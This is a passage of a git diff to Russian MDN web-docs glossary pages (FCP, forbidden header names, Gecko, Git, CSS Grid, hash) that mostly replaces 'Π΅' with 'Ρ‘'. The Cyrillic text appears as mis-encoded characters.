<p><strong>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ сущСствСнноС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</strong>Β (Π°Π½Π³Π». First Contentful Paint, FCP) - врСмя, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ содСрТимоС Π²Π΅Π±-страницы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, тСкст ΠΈΠ»ΠΈ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ.</p>
-<p>Π­Ρ‚Π° ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠ° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΎΠ΅ врСмя потрСбуСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ для отобраТСния части DOM послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΡˆΠ΅Π» Π½Π° Π²Π΅Π±-страницу. ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ любой тСкст, изобраТСния, Π½Π΅ пустой canvas ΠΈ SVG. Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² iframe, Π½ΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅Ρ‚ тСкст, ΡˆΡ€ΠΈΡ„Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅Ρ‰Π΅ загруТаСтся.</p>
+<p>Π­Ρ‚Π° ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠ° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΎΠ΅ врСмя потрСбуСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ для отобраТСния части DOM послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΡˆΡ‘Π» Π½Π° Π²Π΅Π±-страницу. ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ любой тСкст, изобраТСния, Π½Π΅ пустой canvas ΠΈ SVG. Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² iframe, Π½ΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅Ρ‚ тСкст, ΡˆΡ€ΠΈΡ„Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅Ρ‰Ρ‘ загруТаСтся.</p>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅:</h2>
diff --git a/files/ru/glossary/forbidden_header_name/index.html b/files/ru/glossary/forbidden_header_name/index.html
index 5f5ac71144..666f7dd523 100644
--- a/files/ru/glossary/forbidden_header_name/index.html
+++ b/files/ru/glossary/forbidden_header_name/index.html
@@ -1,11 +1,11 @@
---
-title: Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
+title: Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
slug: Glossary/Forbidden_header_name
tags:
- HTTP
- Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ
- Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ
- - Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ
+ - Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ
translation_of: Glossary/Forbidden_header_name
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Forbidden_header_name
---
@@ -13,7 +13,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Forbidden_header_name
<p>ИзмСнСниС этих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ (Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π½ΠΈΠΌΠΈ. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Ρ‡ΡŒΠΈ ΠΈΠΌΠ΅Π½Π° Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с `<code title="">Sec-</code>`, Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ для создания Π½ΠΎΠ²Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², бСзопасных (ΠΎΡ‚Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…) ΠΎΡ‚Β {{glossary("API","APIs")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎΒ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ. Π£Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²Π΅Ρ€Π½ΠΎ ΠΈ для {{domxref("XMLHttpRequest")}}.</p>
-<p>Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с <code>Proxy-</code> ΠΈΠ»ΠΈ <code>Sec-</code>, ΠΈΠ»ΠΈ содСрТат ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π°:</p>
+<p>Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с <code>Proxy-</code> ΠΈΠ»ΠΈ <code>Sec-</code>, ΠΈΠ»ΠΈ содСрТат ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π°:</p>
<ul class="brief">
<li><code title="">Accept-Charset</code></li>
diff --git a/files/ru/glossary/gecko/index.html b/files/ru/glossary/gecko/index.html
index 3e6264903f..6f7c89a489 100644
--- a/files/ru/glossary/gecko/index.html
+++ b/files/ru/glossary/gecko/index.html
@@ -10,7 +10,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Gecko
---
<p id="Summary"><span class="seoSummary"><strong>Gecko -</strong> это Π΄Π²ΠΈΠΆΠΎΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π²Π΅Π±-страниц, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… Mozilla Project ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ½ΠΎΠ³ΠΈΠΌΠΈ прилоТСниями ΠΈ устройствами, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ {{glossary("MozillaΒ Firefox","Firefox")}} ΠΈ {{glossary("Firefox OS")}}.</span></p>
-<p>Π’Π΅Π±-{{glossary("browser","Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹")}} Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ…, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… "<span>Π΄Π²ΠΈΠΆΠΊΠ°ΠΌΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°</span>" для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ {{glossary("HTML")}}, {{glossary("CSS")}}, {{glossary("JavaScript")}} ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ) ΠΈ всё это ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π½Π° экранС вашСго ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€Π°. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Gecko создаёт Ρ‡Π΅Ρ‚ΠΊΠΎ-связанныС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ {{glossary("API","API")}}, Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠ΅ Π² любой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС (которая поддСрТиваСтся Gecko), ΠΈ это API Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ связанных с основными Π·Π°Π΄Π°Ρ‡Π°ΠΌΠΈ Ρ†Π΅Π»Π΅ΠΉ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Gecko Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚: сСтСвой стСк, графичСский стСк, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ страниц, Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Π°Ρ машина JavaScript ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
+<p>Π’Π΅Π±-{{glossary("browser","Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹")}} Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ…, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… "<span>Π΄Π²ΠΈΠΆΠΊΠ°ΠΌΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°</span>" для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ {{glossary("HTML")}}, {{glossary("CSS")}}, {{glossary("JavaScript")}} ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ) ΠΈ всё это ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π½Π° экранС вашСго ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€Π°. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Gecko создаёт Ρ‡Ρ‘Ρ‚ΠΊΠΎ-связанныС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ {{glossary("API","API")}}, Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠ΅ Π² любой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС (которая поддСрТиваСтся Gecko), ΠΈ это API Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ связанных с основными Π·Π°Π΄Π°Ρ‡Π°ΠΌΠΈ Ρ†Π΅Π»Π΅ΠΉ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Gecko Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚: сСтСвой стСк, графичСский стСк, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ страниц, Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Π°Ρ машина JavaScript ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ всС прилоТСния Firefox OS это Π²Π΅Π±-прилоТСния, Ρ‚ΠΎ Firefox OS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Gecko ΠΊΠ°ΠΊ срСду выполнСния ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
diff --git a/files/ru/glossary/git/index.html b/files/ru/glossary/git/index.html
index 5be19f351b..c3de5ac3c0 100644
--- a/files/ru/glossary/git/index.html
+++ b/files/ru/glossary/git/index.html
@@ -7,7 +7,7 @@ tags:
translation_of: Glossary/Git
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Git
---
-<p><strong>Git</strong> β€” это свободная с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ распрСдСлённая <em>систСма управлСния вСрсиями</em> (ΠΎΡ‚ Π°Π½Π³Π». Source Code Management ({{Glossary("SCM", "SCM", 1)}}). Она ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ написаниС ΠΊΠΎΠ΄Π° с использованиСм распрСдСлСнных ΠΊΠΎΠΌΠ°Π½Π΄ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ². Π•Π΅ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… систСм управлСния вСрсиями β€” ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ (Π²Π΅Ρ‚Π²Π»Π΅Π½ΠΈΠ΅, фиксация ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΈ Ρ‚.Π΄.) Π½Π° вашСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π±Π΅Π· нСобходимости ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π³Π»Π°Π²Π½Ρ‹ΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π½Π΅ имСя ΠΏΡ€Π°Π² Π½Π° запись Π² Π½Π΅Π³ΠΎ.</p>
+<p><strong>Git</strong> β€” это свободная с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ распрСдСлённая <em>систСма управлСния вСрсиями</em> (ΠΎΡ‚ Π°Π½Π³Π». Source Code Management ({{Glossary("SCM", "SCM", 1)}}). Она ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ написаниС ΠΊΠΎΠ΄Π° с использованиСм распрСдСлённых ΠΊΠΎΠΌΠ°Π½Π΄ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ². Π•Ρ‘ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… систСм управлСния вСрсиями β€” ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ (Π²Π΅Ρ‚Π²Π»Π΅Π½ΠΈΠ΅, фиксация ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΈ Ρ‚.Π΄.) Π½Π° вашСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π±Π΅Π· нСобходимости ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π³Π»Π°Π²Π½Ρ‹ΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π½Π΅ имСя ΠΏΡ€Π°Π² Π½Π° запись Π² Π½Π΅Π³ΠΎ.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒ большС</h2>
diff --git a/files/ru/glossary/grid/index.html b/files/ru/glossary/grid/index.html
index 57d3b781f4..e070df0968 100644
--- a/files/ru/glossary/grid/index.html
+++ b/files/ru/glossary/grid/index.html
@@ -10,11 +10,11 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Grid
---
<p><em>CSS Π“Ρ€ΠΈΠ΄Ρ‹ (ΠΎΠ½ΠΈ ΠΆΠ΅ сСтки ΠΈΠ»ΠΈ CSS Grid)</em>Β ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ значСния <code>grid</code> Π² свойствС <code>display</code>; Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΠΈ строки Π² сСткС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств {{cssxref("grid-template-columns")}} ΠΈ {{cssxref("grid-template-rows")}} соотвСтствСнно.</p>
-<p>Π‘Π΅Ρ‚ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ создаСтС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти свойства, являСтся явной сСткой.</p>
+<p>Π‘Π΅Ρ‚ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ создаётС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти свойства, являСтся явной сСткой.</p>
<p>If you place content outside of this explicit grid, or if you are relying on auto-placement and the grid algorithm needs to create additional row or column {{glossary("grid tracks", "tracks")}} to hold {{glossary("grid item", "grid items")}}, then extra tracks will be created in the implicit grid. The <em>implicit grid</em> is the grid created automatically due to content being added outside of the tracks defined.</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π° <em>точная сСтка</em> ΠΈΠ· Ρ‚Ρ€Π΅Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ ΠΈ Π΄Π²ΡƒΡ… рядов. The <em>third</em> row on the grid is an <em>implicit grid</em> row track, formed due to their being more than the six items which fill the explicit tracks.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π° <em>точная сСтка</em> ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ ΠΈ Π΄Π²ΡƒΡ… рядов. The <em>third</em> row on the grid is an <em>implicit grid</em> row track, formed due to their being more than the six items which fill the explicit tracks.</p>
<div id="example">
<div class="hidden">
@@ -68,7 +68,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Grid
<li>{{cssxref("grid-template")}}</li>
</ul>
-<h3 id="Π§Ρ‚ΠΎ_ΠΏΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ_Π΅Ρ‰Π΅">Π§Ρ‚ΠΎ ΠΏΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Ρ‰Π΅</h3>
+<h3 id="Π§Ρ‚ΠΎ_ΠΏΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ_Π΅Ρ‰Ρ‘">Π§Ρ‚ΠΎ ΠΏΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘</h3>
<ul>
<li>Руководство ΠΏΠΎ CSS Grid: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Π‘Π°Π·ΠΎΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ CSS сСток</a></em></li>
diff --git a/files/ru/glossary/grid_column/index.html b/files/ru/glossary/grid_column/index.html
index 4df08bc996..e86838c1cf 100644
--- a/files/ru/glossary/grid_column/index.html
+++ b/files/ru/glossary/grid_column/index.html
@@ -7,7 +7,7 @@ tags:
translation_of: Glossary/Grid_Column
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Grid_Column
---
-<p>Π‘Ρ‚ΠΎΠ»Π±Π΅Ρ† сСтки (<strong>grid column)</strong> — это Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт Π²Β <a href="/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ двумя Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ линиями сСтки. Он опрСдСляСтся свойством {{cssxref("grid-template-columns")}}, Π»ΠΈΠ±ΠΎ Π² сокращСнном Π²ΠΈΠ΄Π΅Β {{cssxref("grid")}} ΠΈΠ»ΠΈΒ {{cssxref("grid-template")}}.</p>
+<p>Π‘Ρ‚ΠΎΠ»Π±Π΅Ρ† сСтки (<strong>grid column)</strong> — это Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт Π²Β <a href="/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ двумя Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ линиями сСтки. Он опрСдСляСтся свойством {{cssxref("grid-template-columns")}}, Π»ΠΈΠ±ΠΎ Π² сокращённом Π²ΠΈΠ΄Π΅Β {{cssxref("grid")}} ΠΈΠ»ΠΈΒ {{cssxref("grid-template")}}.</p>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, столбцы ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы Π² нСявном Π²ΠΈΠ΄Π΅Β (<em>implicit grid), </em>ΠΊΠΎΠ³Π΄Π° элСмСнты располоТСны Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ столбцов, созданных Π² явно-заданной сСткС (<em>explicit grid)</em>. Π Π°Π·ΠΌΠ΅Ρ€ этих столбцов будСт подобран автоматичСски, Π»ΠΈΠ±ΠΎ Π·Π°Π΄Π°Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{cssxref("grid-auto-columns")}}.</p>
diff --git a/files/ru/glossary/hash/index.html b/files/ru/glossary/hash/index.html
index 8d3822bbc2..3befac8338 100644
--- a/files/ru/glossary/hash/index.html
+++ b/files/ru/glossary/hash/index.html
@@ -4,7 +4,7 @@ slug: Glossary/hash
translation_of: Glossary/hash
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Ρ…Π΅Ρˆ
---
-<p>Π₯Сш-функция ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π½Π° Π²Ρ…ΠΎΠ΄ тСкстовоС сообщСниС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹ ΠΈ Π²Ρ‹Π΄Π°Π΅Ρ‚ Ρ…Π΅Ρˆ фиксированной Π΄Π»ΠΈΠ½Ρ‹. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π² Ρ„ΠΎΡ€ΠΌΠ΅ 128-Π±ΠΈΡ‚Π½ΠΎΠ³ΠΎ "ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ° ΠΏΠ°Π»ΡŒΡ†Π΅Π²" ΠΈΠ»ΠΈ "дайдТСста сообщСния". Π₯Сши ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для {{glossary("ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ")}} β€” ΠΎΠ½ΠΈ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ слуТит основой для {{glossary("HMAC's")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ сообщСний.</p>
